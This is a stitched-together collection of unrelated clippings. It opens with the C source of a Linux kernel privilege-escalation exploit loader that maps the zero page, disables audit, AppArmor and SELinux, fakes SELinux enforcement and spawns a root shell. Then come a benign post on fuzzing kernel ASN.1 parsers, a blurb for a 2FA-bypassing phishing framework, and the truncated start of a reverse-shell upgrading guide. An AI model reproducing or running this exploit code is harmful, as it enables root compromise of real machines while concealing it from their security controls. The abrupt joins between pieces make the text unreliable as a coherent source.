\

"have left something undone.' During all these long years the man watches " \

"the doorkeeper almost incessantly. He forgets about the other doorkeepers, "
\

"and this one seems to him the only barrier between himself and the Law. " \

"In the first years he curses his evil fate aloud; later, as he grows old, " \

"he only mutters to himself. He grows childish, and since in his prolonged " \

"study of the doorkeeper he has learned to know even the fleas in his fur " \

"collar, he begs the very fleas to help him and to persuade the doorkeeper " \

"to change his mind. Finally his eyes grow dim and he does not know whether "
\

"the world is really darkening around him or whether his eyes are only " \

"deceiving him. But in the darkness he can now perceive a radiance that
streams " \

"inextinguishably from the door of the Law. Now his life is drawing to a
close. " \

"Before he dies, all that he has experienced during the whole time of his
sojourn " \

"condenses in his mind into one question, which he has never yet put to the "
\

"doorkeeper. He beckons the doorkeeper, since he can no longer raise his
stiffening " \

"body. The doorkeeper has to bend far down to hear him, for the difference in
" \

"size between them has increased very much to the man's disadvantage. 'What "
\

"do you want to know now?' asks the doorkeeper, 'you are insatiable.' " \

"'Everyone strives to attain the Law,' answers the man, 'how does it come " \

"about, then, that in all these years no one has come seeking admittance " \

"but me?' The doorkeeper perceives that the man is nearing his end and his " \

"hearing is failing, so he bellows in his ear: 'No one but you could gain " \

"admittance through this door, since this door was intended for you. " \

"I am now going to shut it.' \--Kafka",

"These are the conclusions of individualism in revolt. The individual cannot "
\

"accept history as it is. He must destroy reality, not collaborate with it, "
\

"in order to reaffirm his own existence. --Camus",

"The desire for possession is only another form of the desire to endure; it is
" \

"this that comprises the impotent delirium of love. No human being, even " \

"the most passionately loved and passionately loving, is ever in our
possession. --Camus",

"In art, rebellion is consummated and perpetuated in the act of real creation,
" \

"not in criticism or commentary. --Camus",

"There is, therefore, only one categorical imperative. It is: Act only
according " \

"to that maxim by which you can at the same time will that it should become a
" \

"universal law. --Kant",

"You have your way. I have my way. As for the right way, the correct way, and
" \

"the only way, it does not exist. --Nietzsche",

"The person lives most beautifully who does not reflect upon existence.
--Nietzsche",

"To be free is nothing, to become free is everything. --Hegel",

"Man acts as though he were the shaper and master of language, while in fact
language " \

"remains the master of man. --Heidegger",

"Truth always rests with the minority, and the minority is always stronger
than the " \

"majority, because the minority is generally formed by those who really have
an " \

"opinion, while the strength of a majority is illusory, formed by the gangs
who " \

"have no opinion -- and who, therefore, in the next instant \(when it is
evident " \

"that the minority is the stronger\) assume its opinion... while truth again
reverts " \

"to a new minority. --Kierkegaard",

"Reading furnishes the mind only with materials of knowledge; it is thinking
that " \

"makes what we read ours. --Locke",

"I would warn you that I do not attribute to nature either beauty or
deformity, " \

"order or confusion. Only in relation to our imagination can things be called
" \

"beautiful or ugly, well-ordered or confused. --Spinoza",

"The work of an intellectual is not to mould the political will of others; it
is, " \

"through the analyses that he does in his own field, to re-examine evidence
and " \

"assumptions, to shake up habitual ways of working and thinking, to dissipate
" \

"conventional familiarities, to re-evaluate rules and institutions and to " \

"participate in the formation of a political will \(where he has his role as "
\

"citizen to play\). --Foucault",

"The more I read, the more I meditate; and the more I acquire, the more I am "
\

"enabled to affirm that I know nothing. --Voltaire"

\};

  

void RANDOM\_THOUGHT\(void\)

\{

int i;

char \*thought;

char \*p, \*p2;

char c;

int size\_of\_thought;

srand\(time\(NULL\)\);

thought = strdup\(thoughts\[rand\(\) %
\(sizeof\(thoughts\)/sizeof\(thoughts\[0\]\)\)\]\);

if \(thought == NULL\)

return;

size\_of\_thought = strlen\(thought\);

fprintf\(stdout, "
\------------------------------------------------------------------------------\n"\);

for \(i = 0; i < size\_of\_thought;\) \{

if \(i + 78 >= size\_of\_thought\) \{

fprintf\(stdout, " %.78s\n", &thought\[i\]\);

break;

\}

p = &thought\[i + 77\];

c = \*p;

\*p = '\0';

p2 = strrchr\(&thought\[i\], ''\);

\*p = c;

if \(p2\) \{

\*p2 = '\n';

c = p2\[1\];

p2\[1\] = '\0';

fprintf\(stdout, " %.78s", &thought\[i\]\);

p2\[1\] = c;

i += \(int\)\(\(unsigned long\)p2 + 1 - \(unsigned long\)&thought\[i\]\);

\} else \{

fprintf\(stdout, " %.78s\n", &thought\[i\]\);

break;

\}

\}

fprintf\(stdout, "
\------------------------------------------------------------------------------\n"\);

free\(thought\);

\}

  

int check\_entry\(const struct dirent \*dir\)

\{

if \(\!fnmatch\("exp\_\*.so", dir->d\_name, 0\)\)

return 1;

return 0;

\}

  

void add\_exploit\_modules\(void\)

\{

struct dirent \*\*namelist;

void \*mod;

void \*desc, \*prepare, \*trigger, \*post, \*get\_exp\_state\_ptr;

char tmpname\[PATH\_MAX\];

int n;

int i;

  

chdir\("/home/spender"\);

  

n = scandir\(".", &namelist, &check\_entry, alphasort\);

if \(n < 0\) \{

fprintf\(stdout, "No exploit modules found, exiting...\n"\);

exit\(1\);

\}

for \(i = 0; i < n; i++\) \{

snprintf\(tmpname, sizeof\(tmpname\)-1, "./%s", namelist\[i\]->d\_name\);

tmpname\[sizeof\(tmpname\)-1\] = '\0';

mod = dlopen\(tmpname, RTLD\_NOW\);

if \(mod == NULL\) \{

unable\_to\_load:

fprintf\(stdout, "Unable to load %s\n", namelist\[i\]->d\_name\);

free\(namelist\[i\]\);

continue;

\}

desc = dlsym\(mod, "desc"\);

prepare = dlsym\(mod, "prepare"\);

trigger = dlsym\(mod, "trigger"\);

post = dlsym\(mod, "post"\);

get\_exp\_state\_ptr = dlsym\(mod, "get\_exploit\_state\_ptr"\);

  

if \(desc == NULL || prepare == NULL || trigger == NULL || post == NULL ||
get\_exp\_state\_ptr == NULL\)

goto unable\_to\_load;

  

if \(num\_exploits >= MAX\_EXPLOITS\) \{

fprintf\(stdout, "Max exploits reached.\n"\);

return;

\}

strncpy\(modules\[num\_exploits\].desc, \*\(char \*\*\)desc,
sizeof\(modules\[num\_exploits\].desc\) - 1\);

modules\[num\_exploits\].desc\[sizeof\(modules\[num\_exploits\].desc\)-1\] =
'\0';

modules\[num\_exploits\].prep = \(\_prepare\_for\_exploit\)prepare;

modules\[num\_exploits\].trigger = \(\_trigger\_the\_bug\)trigger;

modules\[num\_exploits\].post = \(\_post\_exploit\)post;

modules\[num\_exploits\].get\_exploit\_state\_ptr =
\(\_get\_exploit\_state\_ptr\)get\_exp\_state\_ptr;

  

num\_exploits++;

\}

  

return;

\}

  

struct exploit\_state exp\_state;

int eightk\_stack = 0;

int twofourstyle = 0;

unsigned long current\_addr = 0;

int cred\_support = 0;

int cred\_offset = 0;

unsigned long init\_cred\_addr = 0;

  

\#define TASK\_RUNNING 0

  

\#ifdef \_\_x86\_64\_\_

\#define KERNEL\_BASE 0xffffffff80200000UL

\#define KSTACK\_MIN 0xf000000000000000UL

\#define KSTACK\_MAX 0xfffffffff0000000UL

\#else

\#define KERNEL\_BASE 0xc0000000UL

\#define KSTACK\_MIN 0xc0000000UL

\#define KSTACK\_MAX 0xfffff000UL

\#endif

  

static inline unsigned long get\_current\_4k\(void\)

\{

unsigned long current = 0;

  

current = \(unsigned long\)&current;

  

current = \*\(unsigned long \*\)\(current & ~\(0x1000 - 1\)\);

if \(current < KSTACK\_MIN || current > KSTACK\_MAX\)

return 0;

if \(\*\(long \*\)current \!= TASK\_RUNNING\)

return 0;

  

return current;

\}

  

static inline unsigned long get\_current\_8k\(void\)

\{

unsigned long current = 0;

unsigned long oldstyle = 0;

  

eightk\_stack = 1;

  

current = \(unsigned long\)&current;

oldstyle = current & ~\(0x2000 - 1\);

current = \*\(unsigned long \*\)\(oldstyle\);

  

twofourstyle = 1;

if \(current < KSTACK\_MIN || current > KSTACK\_MAX\)

return oldstyle;

if \(\*\(long \*\)current \!= TASK\_RUNNING\)

return oldstyle;

  

twofourstyle = 0;

return current;

\}

  

static unsigned long get\_kernel\_sym\(char \*name\)

\{

FILE \*f;

unsigned long addr;

char dummy;

char sname\[256\];

int ret;

  

f = fopen\("/proc/kallsyms", "r"\);

if \(f == NULL\) \{

f = fopen\("/proc/ksyms", "r"\);

if \(f == NULL\) \{

fprintf\(stdout, "Unable to obtain symbol listing\!\n"\);

exit\(0\);

\}

\}

  

ret = 0;

while\(ret \!= EOF\) \{

ret = fscanf\(f, "%p %c %s\n", \(void \*\*\)&addr, &dummy, sname\);

if \(ret == 0\) \{

fscanf\(f, "%s\n", sname\);

continue;

\}

if \(\!strcmp\(name, sname\)\) \{

fprintf\(stdout, " \[+\] Resolved %s to %p\n", name, \(void \*\)addr\);

fclose\(f\);

return addr;

\}

\}

  

fclose\(f\);

return 0;

\}

  

int \*audit\_enabled;

int \*ima\_audit;

  

int \*selinux\_enforcing;

int \*selinux\_enabled;

int \*sel\_enforce\_ptr;

  

int \*apparmor\_enabled;

int \*apparmor\_logsyscall;

int \*apparmor\_audit;

int \*apparmor\_complain;

  

unsigned long \*security\_ops;

unsigned long default\_security\_ops;

  

unsigned long sel\_read\_enforce;

  

int what\_we\_do;

  

unsigned int our\_uid;

  

typedef int \_\_attribute\_\_\(\(regparm\(3\)\)\) \(\*
\_commit\_creds\)\(unsigned long cred\);

typedef unsigned long \_\_attribute\_\_\(\(regparm\(3\)\)\) \(\*
\_prepare\_kernel\_cred\)\(unsigned long cred\);

\_commit\_creds commit\_creds;

\_prepare\_kernel\_cred prepare\_kernel\_cred;

  

struct cred \{

int usage; // must be >= 4

int uid; // 0

int gid; // 0

int suid; // 0

int sgid; // 0

int euid; // 0

int egid; // 0

int fsuid; // 0

int fsgid; // 0

int securebits; // SECUREBITS\_DEFAULT 0x00000000

unsigned int cap\_inheritable\[2\]; // CAP\_INIT\_INH\_SET \{0, 0\}

unsigned int cap\_permitted\[2\]; // CAP\_FULL\_SET \{ ~0, ~0 \}

unsigned int cap\_effective\[2\]; // CAP\_INIT\_EFF\_SET \{ ~\(1 << 8\), ~0 \}

unsigned int cap\_bset\[2\]; // CAP\_INIT\_BSET -> CAP\_FULL\_SET ||
CAP\_INIT\_EFF\_SET

\};

  

static void
bella\_mafia\_quackafella\_records\_incorporated\_by\_rhyme\_syndicate\_three\_yellow\_men\_trillionaire\_club\(unsigned
long orig\_current\)

\{

/\* cause it's a trillion dollar industry \*/

unsigned char \*current = \(unsigned char \*\)orig\_current;

unsigned char \*kernel\_scan\_start;

struct cred \*tmp, \*\*cred, \*\*real\_cred;

int i;

  

kernel\_scan\_start = \(unsigned char \*\)KERNEL\_BASE;

  

/\* ok, we couldn't find our UIDs in the task struct

and we don't have the symbols for the creds

framework, discover it in a stupidly easy way:

in task\_struct:

...stuff...

const struct cred \*real\_cred;

const struct cred \*cred;

struct mutex cred\_exec\_mutex;

char comm\[16\];

...stuff...

  

if we were executed from main, then our name is

"exploit", otherwise it's "pulseaudio"

then we find init\_cred through heuristics

increment its refcnt appropriately

and set up our credentials

\*/

  

for \(i = 0; i < 0x1000 - 16; i++\) \{

if \(\(exp\_state.run\_from\_main == 1 && \!memcmp\(&current\[i\], "exploit",
strlen\("exploit"\) + 1\)\) ||

\(exp\_state.run\_from\_main == 0 && \!memcmp\(&current\[i\], "pulseaudio",
strlen\("pulseaudio"\) + 1\)\)\) \{

/\* now work backwards till we find the unlocked cred mutex,

then the previous two pointers are our cred pointers

we want to support any additional debugging members of the mutex struct

so we won't hard-code any lengths

\*/

for \(i-=4; i > 0; i-=4\) \{

if \(\*\(\(unsigned int \*\)&current\[i\]\) == 1\) \{ // unlocked

cred\_offset = i - \(2 \* sizeof\(char \*\)\);

real\_cred = \(struct cred \*\*\)&current\[i-\(2\*sizeof\(char \*\)\)\];

cred = \(struct cred \*\*\)&current\[i-sizeof\(char \*\)\];

for \(i = 0; i < 0x1000000; i+=4\) \{

tmp = \(struct cred \*\)&kernel\_scan\_start\[i\];

if \(tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 &&

tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 &&

tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 &&

tmp->securebits == 0 && tmp->cap\_inheritable\[0\] == 0 &&

tmp->cap\_inheritable\[1\] == 0 && tmp->cap\_permitted\[0\] == ~0 &&

tmp->cap\_permitted\[1\] == ~0 && tmp->cap\_effective\[0\] == ~\(1 << 8\) &&

tmp->cap\_effective\[1\] == ~0 &&

\(tmp->cap\_bset\[0\] == ~0 || tmp->cap\_bset\[0\] == ~\(1 << 8\)\) &&

tmp->cap\_bset\[1\] == ~0\) \{

/\* finally, found init\_cred, so now point our

cred struct to it, and increment usage\!

\*/

init\_cred\_addr = \(unsigned long\)tmp;

\*real\_cred = \*cred = tmp;

tmp->usage+=2;

exp\_state.got\_root = 1;

return;

\}

\}

return;

\}

\}

return;

\}

\}

return;

\}

  

static void give\_it\_to\_me\_any\_way\_you\_can\(void\)

\{

if \(commit\_creds && prepare\_kernel\_cred\) \{

commit\_creds\(prepare\_kernel\_cred\(0\)\);

exp\_state.got\_root = 1;

\} else \{

unsigned int \*current;

unsigned long orig\_current;

  

orig\_current = get\_current\_4k\(\);

if \(orig\_current == 0\)

orig\_current = get\_current\_8k\(\);

  

current\_addr = orig\_current;

  

current = \(unsigned int \*\)orig\_current;

while \(\(\(unsigned long\)current < \(orig\_current + 0x1000 - 17 \)\) &&

\(current\[0\] \!= our\_uid || current\[1\] \!= our\_uid ||

current\[2\] \!= our\_uid || current\[3\] \!= our\_uid\)\)

current++;

  

if \(\(unsigned long\)current >= \(orig\_current + 0x1000 - 17 \)\) \{

bella\_mafia\_quackafella\_records\_incorporated\_by\_rhyme\_syndicate\_three\_yellow\_men\_trillionaire\_club\(orig\_current\);

cred\_support = 1;

return;

\}

exp\_state.got\_root = 1;

memset\(current, 0, sizeof\(unsigned int\) \* 8\);

\}

  

return;

\}

  

static int \_\_attribute\_\_\(\(regparm\(3\)\)\) own\_the\_kernel\(unsigned
long a\)

\{

exp\_state.got\_ring0 = 1;

  

if \(audit\_enabled\)

\*audit\_enabled = 0;

  

if \(ima\_audit\)

\*ima\_audit = 0;

  

// disable apparmor

if \(apparmor\_enabled && \*apparmor\_enabled\) \{

what\_we\_do = 1;

\*apparmor\_enabled = 0;

if \(apparmor\_audit\)

\*apparmor\_audit = 0;

if \(apparmor\_logsyscall\)

\*apparmor\_logsyscall = 0;

if \(apparmor\_complain\)

\*apparmor\_complain = 0;

\}

  

// disable SELinux

if \(selinux\_enforcing && \*selinux\_enforcing\) \{

what\_we\_do = 2;

\*selinux\_enforcing = 0;

\}

  

if \(\!selinux\_enabled || \(selinux\_enabled && \*selinux\_enabled == 0\)\)
\{

// trash LSM

if \(default\_security\_ops && security\_ops\) \{

if \(\*security\_ops \!= default\_security\_ops\)

what\_we\_do = 3;

\*security\_ops = default\_security\_ops;

\}

\}

  

/\* make the idiots think selinux is enforcing \*/

if \(sel\_read\_enforce\) \{

unsigned char \*p;

unsigned long \_cr0;

  

asm volatile \(

"mov %%cr0, %0"

: "=r" \(\_cr0\)

\);

\_cr0 &= ~0x10000;

asm volatile \(

"mov %0, %%cr0"

:

: "r" \(\_cr0\)

\);

if \(sizeof\(unsigned int\) \!= sizeof\(unsigned long\)\) \{

/\* 64bit version, look for the mov ecx, \[rip+off\]

and replace with mov ecx, 1

\*/

for \(p = \(unsigned char \*\)sel\_read\_enforce; \(unsigned long\)p <
\(sel\_read\_enforce + 0x30\); p++\) \{

if \(p\[0\] == 0x8b && p\[1\] == 0x0d\) \{

if \(\!selinux\_enforcing\) \{

// determine address of rip+off, as it's our selinux\_enforcing

sel\_enforce\_ptr = \(int \*\)\(\(char \*\)p + 6 + \*\(int \*\)&p\[2\]\);

if \(\*sel\_enforce\_ptr\) \{

\*sel\_enforce\_ptr = 0;

what\_we\_do = 2;

\}

\}

if \(what\_we\_do == 2\) \{

p\[0\] = '\xb9';

p\[5\] = '\x90';

\*\(unsigned int \*\)&p\[1\] = 1;

\}

\}

\}

\} else \{

/\* 32bit, replace push \[selinux\_enforcing\] with push 1 \*/

for \(p = \(unsigned char \*\)sel\_read\_enforce; \(unsigned long\)p <
\(sel\_read\_enforce + 0x20\); p++\) \{

if \(p\[0\] == 0xff && p\[1\] == 0x35 && \*\(unsigned int \*\)&p\[2\] >
0xc0000000\) \{

// while we're at it, disable

// SELinux without having a

// symbol for selinux\_enforcing ;\)

if \(\!selinux\_enforcing\) \{

sel\_enforce\_ptr = \*\(int \*\*\)&p\[2\];

if \(\*sel\_enforce\_ptr\) \{

\*sel\_enforce\_ptr = 0;

what\_we\_do = 2;

\}

\}

if \(what\_we\_do == 2\) \{

p\[0\] = '\x68';

p\[5\] = '\x90';

\*\(unsigned int \*\)&p\[1\] = 1;

\}

\} else if \(p\[0\] == 0xa1 &&

\*\(unsigned int \*\)&p\[1\] > 0xc0000000\) \{

/\* old 2.6 are compiled different \*/

if \(\!selinux\_enforcing\) \{

sel\_enforce\_ptr = \*\(int \*\*\)&p\[1\];

if \(\*sel\_enforce\_ptr\) \{

\*sel\_enforce\_ptr = 0;

what\_we\_do = 2;

\}

\}

if \(what\_we\_do == 2\) \{

p\[0\] = '\xb8';

\*\(unsigned int \*\)&p\[1\] = 1;

\}

\}

\}

\}

\_cr0 |= 0x10000;

asm volatile \(

"mov %0, %%cr0"

:

: "r" \(\_cr0\)

\);

\}

  

// push it real good

give\_it\_to\_me\_any\_way\_you\_can\(\);

  

return -1;

\}

  

int pa\_\_init\(void \*m\)

\{

unsigned char \*mem = NULL;

\_prepare\_for\_exploit prepare;

\_trigger\_the\_bug trigger;

\_get\_exploit\_state\_ptr get\_exploit\_state\_ptr;

\_post\_exploit post;

int ret;

int i;

  

if \(\(personality\(0xffffffff\)\) \!= PER\_SVR4\) \{

mem = mmap\(NULL, 0x1000, PROT\_READ | PROT\_WRITE | PROT\_EXEC, MAP\_FIXED | MAP\_ANONYMOUS | MAP\_PRIVATE, 0, 0\);
if \(mem \!= NULL\) \{

mem = mmap\(NULL, 0x1000, PROT\_READ | PROT\_WRITE, MAP\_FIXED | MAP\_ANONYMOUS | MAP\_PRIVATE, 0, 0\);
if \(mem \!= NULL\) \{

fprintf\(stdout, "UNABLE TO MAP ZERO PAGE\!\n"\);

goto boo\_hiss;

\}

\}

\} else \{

ret = mprotect\(NULL, 0x1000, PROT\_READ | PROT\_WRITE | PROT\_EXEC\);
if \(ret == -1\) \{

fprintf\(stdout, "UNABLE TO MPROTECT ZERO PAGE\!\n"\);

goto boo\_hiss;

\}

\}

goto great\_success;

boo\_hiss:

\#ifdef HAVE\_SELINUX

if \(exp\_state.run\_from\_main == 1 && is\_selinux\_enabled\(\)\) \{

security\_context\_t scontext;

context\_t newcontext;

int retval;

  

retval = getcon\(&scontext\);

if \(retval < 0\)

goto oh\_fail;

  

if \(strstr\(scontext, ":wine\_t:"\)\) \{

/\* don't repeat \*/

exit\(1\);

\}

  

fprintf\(stdout, "But wait\! Perhaps SELinux can revive this dead
exploit...\n"\);

newcontext = context\_new\(scontext\);

freecon\(scontext\);

retval = context\_type\_set\(newcontext, "wine\_t"\);

if \(retval\)

goto oh\_fail;

scontext = context\_str\(newcontext\);

if \(scontext == NULL\)

goto oh\_fail;

if \(security\_check\_context\(scontext\) < 0\)

goto oh\_fail;

retval = setexeccon\(scontext\);

if \(retval < 0\)

goto oh\_fail;

context\_free\(newcontext\);

fprintf\(stdout, "This looks promising\!\n"\);

execl\("/proc/self/exe", NULL\);

\}

oh\_fail:

fprintf\(stdout, "Nope ;\(\n"\);

\#endif

exit\(1\);

great\_success:

fprintf\(stdout, " \[+\] MAPPED ZERO PAGE\!\n"\);

  

add\_exploit\_modules\(\);

  

if \(num\_exploits == 0\) \{

fprintf\(stdout, "No exploit modules detected, exiting.\n"\);

exit\(1\);

\}

  

repeat\_it:

fprintf\(stdout, "Choose your exploit:\n"\);

for \(i = 0; i < num\_exploits; i++\)

fprintf\(stdout, " \[%d\] %s\n", i, modules\[i\].desc\);

fprintf\(stdout, " \[%d\] Exit\n", i\);

fprintf\(stdout, ">"\);

fflush\(stdout\);

scanf\("%d", &ret\);

if \(ret == i\)

exit\(0\);

if \(ret < 0 || ret >= num\_exploits\) \{

fprintf\(stdout, "Invalid number.\n"\);

goto repeat\_it;

\}

  

RANDOM\_THOUGHT\(\);

  

prepare = modules\[ret\].prep;

trigger = modules\[ret\].trigger;

get\_exploit\_state\_ptr = modules\[ret\].get\_exploit\_state\_ptr;

post = modules\[ret\].post;

  

exp\_state.get\_kernel\_sym = \(\_get\_kernel\_sym\)&get\_kernel\_sym;

exp\_state.own\_the\_kernel = \(void \*\)&own\_the\_kernel;

get\_exploit\_state\_ptr\(&exp\_state\);

  

our\_uid = getuid\(\);

  

ima\_audit = \(int \*\)get\_kernel\_sym\("ima\_audit"\);

selinux\_enforcing = \(int \*\)get\_kernel\_sym\("selinux\_enforcing"\);

selinux\_enabled = \(int \*\)get\_kernel\_sym\("selinux\_enabled"\);

apparmor\_enabled = \(int \*\)get\_kernel\_sym\("apparmor\_enabled"\);

apparmor\_complain = \(int \*\)get\_kernel\_sym\("apparmor\_complain"\);

apparmor\_audit = \(int \*\)get\_kernel\_sym\("apparmor\_audit"\);

apparmor\_logsyscall = \(int \*\)get\_kernel\_sym\("apparmor\_logsyscall"\);

security\_ops = \(unsigned long \*\)get\_kernel\_sym\("security\_ops"\);

default\_security\_ops = get\_kernel\_sym\("default\_security\_ops"\);

sel\_read\_enforce = get\_kernel\_sym\("sel\_read\_enforce"\);

audit\_enabled = \(int \*\)get\_kernel\_sym\("audit\_enabled"\);

commit\_creds = \(\_commit\_creds\)get\_kernel\_sym\("commit\_creds"\);

prepare\_kernel\_cred =
\(\_prepare\_kernel\_cred\)get\_kernel\_sym\("prepare\_kernel\_cred"\);

  

ret = prepare\(mem\);

if \(ret == STRAIGHT\_UP\_EXECUTION\_AT\_NULL\) \{

mem\[0\] = '\xff';

mem\[1\] = '\x25';

\*\(unsigned int \*\)&mem\[2\] = \(sizeof\(unsigned long\) \!=
sizeof\(unsigned int\)\) ? 0 : 6;

\*\(unsigned long \*\)&mem\[6\] = \(unsigned long\)&own\_the\_kernel;

\} else if \(\(ret & EXECUTE\_AT\_NONZERO\_OFFSET\) ==
EXECUTE\_AT\_NONZERO\_OFFSET\) \{

int off = ret & 0xfff;

mem\[off\] = '\xff';

mem\[off + 1\] = '\x25';

\*\(unsigned int \*\)&mem\[off + 2\] = \(sizeof\(unsigned long\) \!=
sizeof\(unsigned int\)\) ? 0 : off + 6;

\*\(unsigned long \*\)&mem\[off + 6\] = \(unsigned long\)&own\_the\_kernel;

\}

  

/\* trigger it \*/

ret = trigger\(\);

if \(\!ret\)

exit\(0\);

  

if \(exp\_state.got\_ring0\) \{

fprintf\(stdout, " \[+\] got ring0\!\n"\);

\} else \{

fprintf\(stdout, "didn't get ring0, bailing\n"\);

exit\(0\);

\}

  

if \(commit\_creds && prepare\_kernel\_cred\)

fprintf\(stdout, " \[+\] detected cred support\n"\);

else

fprintf\(stdout, " \[+\] detected %s %dk stacks, with current at %p%s\n",

twofourstyle ? "2.4 style" : "2.6 style",

eightk\_stack ? 8 : 4, \(char \*\)current\_addr,

cred\_support ? " and cred support" : ""\);

if \(cred\_offset\)

fprintf\(stdout, " \[+\] cred ptrs offset found at 0x%04x in task struct\n",
cred\_offset\);

if \(init\_cred\_addr\)

fprintf\(stdout, " \[+\] init\_cred found at %p\n", \(char
\*\)init\_cred\_addr\);

  

\{

char \*msg;

switch \(what\_we\_do\) \{

case 1:

msg = "AppArmor";

break;

case 2:

msg = "SELinux";

break;

case 3:

msg = "LSM";

break;

default:

msg = "nothing, what an insecure machine\!";

\}

fprintf\(stdout, " \[+\] Disabled security of : %s\n", msg\);

\}

  

if \(exp\_state.got\_root == 1\)

fprintf\(stdout, " \[+\] Got root\!\n"\);

else \{

fprintf\(stdout, " \[+\] Failed to get root :\(\n"\);

exit\(0\);

\}

  

ret = post\(\);

if \(ret == RUN\_ROOTSHELL\)

execl\("/bin/sh", "/bin/sh", "-i", NULL\);

else if \(ret == CHMOD\_SHELL\) \{

chmod\("/bin/sh", 04755\);

fprintf\(stdout, "/bin/sh is now setuid root.\n"\);

\}

  

return 0;

\}

  

void pa\_\_done\(void \*m\)

\{

return;

\}

  

int main\(void\)

\{

exp\_state.run\_from\_main = 1;

pa\_\_init\(NULL\);

return 0;

\}

# Kernel Fuzzing in Userspace

**Created:**| _11/23/2017 9:31:10 AM_  
---|---  
**Updated:**| _11/23/2017 9:31:10 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Kernel Fuzzing in Userspace

Twitter is not just flames and drama, sometimes it inspires you:

I was as surprised as everybody else, five ASN.1 parsers inside the Linux
kernel? Wow\! But surely somebody would already have audited them, right?
CVE-2016-0758 should be the result of that. Since I already had parts of the
required glue around to make these parsers run in user space with a little
beating, I decided that a quick fuzzing run might not hurt. For a proper audit
the time was simply missing. :\(

So what did I do? The first step was an AFL based fuzzer, which quickly
identified some out-of-bound reads in two different parsers. The next step
included modifying the code to get more out of the different parsers and to
actually get all five running \(this did not happen in the first iteration due
to some bugs\). After this went on successfully for a while, I weeded out all
the generated test cases \(input and queue\) with afl-cmin and reduced them
with afl-tmin. This was passed on to radamsa, since we have gotten some nice
results out of it in the past, where the radamsa mutators uncovered test cases
afl and libfuzzer have had a harder time finding. The resulting corpus was
reduced again and passed to an additional libfuzzer test case, since libfuzzer
greatly improves on the speed in comparison to AFL.

Fortunately \(heh, we use Linux as well...\) this only triggered some out of
bound reads and nothing more serious.

One of the parsers is generic and needs to be fed with additional data
generated with the help of the scripts/asn1\_compiler tool. Users include the
x509, pkcs7 and mscode parsers. In order to get a proper coverage of this
parser, the x509 parser was fuzzed as well and it triggered a more interesting
bug, an out of bounds write. What was the culprit? Responsible was an integer
underflow in the sprint\_oid\(\) function.

[code]

    int sprint_oid(const void *data, size_t datasize, char *buffer, size_t bufsize)
    {
            const unsigned char *v = data, *end = v + datasize;
            unsigned long num;
            unsigned char n;
            size_t ret;
            int count;
    
            if (v >= end)
                    return -1;
    
            n = *v++;
            ret = count = snprintf(buffer, bufsize, "%u.%u", n / 40, n % 40);
            buffer += count;
            bufsize -= count;
            if (bufsize == 0)
                    return -1;
    
            while (v < end) {
                    num = 0;
                    n = *v++;
                    if (!(n & 0x80)) {
                            num = n;
                    } else {
                            num = n & 0x7f;
                            do {
                                    if (v >= end)
                                            return -2;
                                    n = *v++;
                                    num <<= 7;
                                    num |= n & 0x7f;
                            } while (n & 0x80);
                    }
                    ret += count = snprintf(buffer, bufsize, ".%lu", num);
                    buffer += count;
                    bufsize -= count;
                    if (bufsize == 0)
                            return -1;
            }
    
            return ret;
    }
    
[/code]

The culprit is the second snprintf\(\) call. Lets see what the manpage says
regarding return values:

> "return value of size or more means that the output was truncated"
That means, if the buffer does not fit, bufsize might get decreased to a value
< 0, and we write past the end of buffer in the next iteration of the while
loop. A quick PoC in user space shows that this is happening and we can write
as much as we want. The somewhat uninuitive behaviour of sprintf seems not to
be known widely. The next step wass to test this in kernel space, but to my
surprise, a kernel module which send the right data to sprint\_oid\(\) did not
trigger a bug, but a warning.

[code]

    int vsnprintf(char *buf, size_t size, const char *fmt, va_list args)
    {
        unsigned long long num;
        char *str, *end;
        struct printf_spec spec = {0};
    
        /* Reject out-of-range values early.  Large positive sizes are
           used for unknown buffer sizes. */
        if (WARN_ON_ONCE(size > INT_MAX))
            return 0;
    
[/code]

The reason lied in vsnprintf\(\), which checked if the size of the buffer into
which it writes is bigger than INT\_MAX. When checking the current -git, we
see that the issue was also fixed in commit
afdb05e9d61905220f09268535235288e6ba3a16

Nevertheless, this is an interesting pattern. A small cocinelle script from
Markus helped to find other users of this pattern in the kernel, which we
patched and submitted to LKML.

Unfortunately, this is when we ran out of spare time to look into this topic.
But we hope we will gain further opportunities in the future to look deeper
into the security of the Linux kernel. If you are interested in sponsoring
such research in order to get bugs in the kernel fixed \(and not exploited\),
please let us know

  

# kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for
phishing login credentials along with session cookies, allowing for the bypass
of 2-factor authentication

**Created:**| _5/18/2021 5:45:16 PM_  
---|---  
**Updated:**| _5/18/2021 5:45:16 PM_  
**Author:**| __  
**Tags:**| __  
  

  

**evilginx2** is a man-in-the-middle attack framework used for phishing login
credentials along with session cookies, which in turn allows to bypass
2-factor authentication protection.

# Upgrading shells to fully interactive TTYs

**Created:**| _7/17/2017 11:22:11 AM_  
---|---  
**Updated:**| _7/17/2017 11:22:11 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Upgrading simple shells to fully interactive TTYs

10 July 2017

  * email
  * twitter
  * reddit

### Table of Contents

* Generating reverse shell commands
* Method 1: Python pty module
* Method 2: Using socat
* Method 3: Upgrading from netcat with magic
* tl;dr cheatsheet
  

Every pentester knows that amazing feeling when they catch a reverse shell
with netcat and see that oh-so-satisfying verbose netcat message followed by
output from `id`.

And if other pentesters are like me, they also know that dreadful feeling when
their shell is lost because they run a bad command that hangs and accidentally
hit "Ctrl-C" thinking it will stop it but it instead kills the entire
connection.

<img src='img/Temp2_8742.png' width='508' height='331' alt='Oops!' />

Besides not correctly handling SIGINT, these"dumb" shells have other
shortcomings as well:

  * Some commands, like `su` and `ssh` require a proper terminal to run
  * STDERR usually isn't displayed
  * Can't properly use text editors like `vim`
  * No tab-complete
  * No up arrow history
  * No job control
  * Etc...

Long story short, while these shells are great to catch, I'd much rather
operate in a fully interactive TTY.

I've come across some good resources that include very helpful tips and
techniques for "upgrading" these shells, and wanted to compile and share in a
post. Along with Pentest Monkey, I also learned the techniques from Phineas
Fisher in his released videos and writeups of his illegal activities:

  * Pentest Monkey - Post Exploitation Without a TTY
  * Phineas Fisher Hacks Catalan Police Union Website
  * Phineas Fisher - Hackingteam Writeup

For reference, in all the screenshots and commands to follow, I am injecting
commands in to a vulnerable web server \("VICTIM"\) and catching shells from
my Kali VM \("KALI"\):

  * **VICTIM IP** : 10.0.3.7
